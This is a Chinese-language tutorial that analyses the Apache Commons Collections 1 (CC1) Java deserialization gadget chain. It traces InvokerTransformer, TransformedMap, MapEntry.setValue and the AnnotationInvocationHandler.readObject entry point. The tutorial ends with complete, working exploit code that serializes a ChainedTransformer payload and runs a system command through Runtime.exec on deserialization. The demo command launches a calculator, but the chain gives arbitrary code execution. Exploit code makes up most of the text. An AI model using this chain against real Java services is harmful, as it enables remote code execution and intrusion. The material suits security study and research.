执行类sink

Transformer接口下的实现类InvokerTransformer

条件:

继承了Serializable

关键方法:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();//获取传入对象的类
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//获取传入对象中的某一个方法以及对应的参数类型
return method.invoke(input, this.iArgs);
//通过反射调用类的方法,并传入参数,显然是利用点,且参数都是可控的。
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

根据有参构造参数可知所有的参数都是可控的

回顾一下反射如何调用runtime的exec方法

1
2
3
4
Runtime r=Runtime.getRuntime();
Class c=r.getClass();
Method m=c.getMethod("exec", String.class);
m.invoke(r,"calc");

尝试使用transformer来调用

1
2
3
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);

gadget chain调用链

step1(寻找调用了transform方法的方法)

想要调用InvokerTransformer对象中的transform方法,就寻找调用了方法名为transform方法的代码,在transformedmap文件中找到了其中的checksetvalue中存在一个调用了transform方法的代码。

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

找到了一个调用了transform方法的类还不够,我们还需要确认valueTransformer参数可控,才能实现调用InvokerTransformer类中的transform方法。找到他的构造方法

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

发现valueTransformer参数可控。满足两个条件,调用同名方法,并且对象可控。但是存在一个问题,这里的类都是protected方法,也就是说仅允许类内部访问。所以我们就需要找到内部实例化方法。

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

发现decorate方法可以进行构造,就解决了构造方法无法调用的问题。接下来的思路就是解决如何调用checksetvalue方法了。

step2(寻找合适的调用了checksetvalue方法的方法)

查找checksetvalue,发现在类AbstractInputCheckedMapDecorator中的副类MapEntry中的setValue方法调用了checkSetValue方法。

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

这里调用了parent对象的check’setvalue方法,我们需要审计parent变量是否可控,查看构造方法。

1
2
3
4
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

parent方法可控。而这个副类重写了AbstractMapEntryDecorator类中的setvalue方法,我们查看AbstractMapEntryDecorator类中的setvalue方法。

发现这个类继承了map.entry接口,这就意味着我们只需要通过map遍历即可调用到setvalue方法。

梳理一下:

sink(执行类)

Transformer接口下的实现类InvokerTransformer内部的transform方法

gadget chain(调用链)

TransformedMap中的checkSetValue方法调用了transform方法,且对象可控。

由于构造方法和checksetvalue方法都是protected方法所以需要找到一个内部实例化的方法,于是找到了decorate方法,解决构造方法无法外部调用的问题。

然后我们要寻找合适的能够调用checksetvalue方法的代码,于是我们找到了AbstractInputCheckedMapDecorator类,在这个类中的副类MapEntry类,发现内部的setvalue方法调用了checksetvalue方法,且其中的对象parent可控。

且这个副类所继承的类,他又继承了Map.Entry接口类,这就使得它可以再进行map遍历时调用键中所指示的对象的类的setvalue方法,实现调用副类MapEntry中的setvalue方法,并通过这个setvalue方法调用到checksetvalue方法。

如下的代码实现了上述调用链的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Runtime r=Runtime.*getRuntime*();

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能

HashMap<Object,Object> map=new HashMap<>();

map.put("gxngxngxn","gxngxngxn"); //给map一个键值对,方便遍历

Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer);

for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式
entry.setValue(r); //调用setValue方法,并把对象r当作对象传入
}

建议调试运行一下。

但这并不是我们最终想要达到的效果,虽然通过map遍历可以实现调用链,但是我们还是需要一个readObject方法或者其他调用了setvalue方法名的方法,替代掉遍历map这个操作。

入口类(寻找合适setvalue调用)

我们在AnnotationInvocationHandler类中的readobject方法中找到了setvalue的调用。

接下来寻找这个类的构造器

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

观察这个构造器我们可见membervalues这个参数是可控的。但是存在一个问题,就是这个类的定义,并没有写public这类的声明,也就意味着,这个方法只能在这个包内部调用。如果想要调用这个类就需要使用反射来调用。

根据分析我们就可以开始构造利用的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
//创建runtime对象
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//创建sink执行类对象
HashMap<Object,Object> map=new HashMap<>();
map.put("gxngxngxn","gxngxngxn");
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取AnnotationInvocationHandler类
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
//获取AnnotationInvocationHandler类的构造方法
constructor.setAccessible(true);
constructor.newInstance(Override.class,transformedmap);
serialize(c);
unserialize("D://CC1.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

但是这段代码运行后无法进行命令执行,为什么?我们逐个分析一下。

problem1(runtime类未继承serializable接口)

来到runtime类中。

发现他没有继承serializable接口,所以无法被序列化。那么接下来如何操作?我们知道它的原型类class是继承了serializable接口的,所以是可以序列化的。

那么我们如何获取一个runtime的对象呢?

可以看到这里存在一个静态方法,它会返回一个runtime对象。所以我们可以利用反射实现命令执行:

1
2
3
4
5
Class rc=Class.forName("java.lang.Runtime");                 //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法无无参方法,所以全为null
Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc");

利用上述操作我们就可以解决runtime类无法序列化的问题。根据上述代码为我们修改利用代码中的transform部分。

1
2
3
4
5
6
7
8
Class rc=Class.forName("java.lang.Runtime");
//获取类原型
Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模拟获取getruntime方法
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//获取invoke方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
//进行命令执行

但这样嵌套创建较为麻烦,所以这里使用了Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法

修改一下代码。

1
2
3
4
5
6
7
8
9
10
Class rc=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

到这里就解决了第一个问题,runtime对象无法序列化,但是这样仍然无法实现命令执行。因为还存在一个问题。

problem2(member判断)

在我们调用的AnnotationInvocationHandler类的readobject方法中存在两个判断,一个是判断membertype是否为空,先看第一个,我们打上断点看一下变量。

发现membertype为null自然无法第一个判断未通过直接结束了。这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解override是没有成员变量的。而另一个注解target存在一个变量。所以我们把注解换为target并把第一个键值对的值修改为value即可通过判断。按理来说我们现在允许应当可以正常进行命令执行,但是仍旧失败了,为什么?

problem3(value值非预期value)

debug发现,传入的value不是我们所期望的runtime.class,如何将他改为我们期望的runtime.class?

这里就需要ConstantTransformer类,我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

这样就解决了传入的value非预期的情况。修改后再次运行成功进行命令执行。

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
Class rc=Class.forName("java.lang.Runtime");
Transformer[] Transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //添加此行代码,这里解决问题三
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
//上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。
HashMap<Object,Object> map=new HashMap<>();
map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
serialize(o);
unserialize("D://CC1.txt");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("D://CC1.txt"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

利用链如下:

1
2
3
4
5
->AnnotationInvocationHandler.readObject()//入口类
->AbstractInputCheckedMapDecorator.setValue()
->TransformedMap.checkSetValue()
->ChainedTransformer.transform()
->InvokerTransformer.transform()//执行类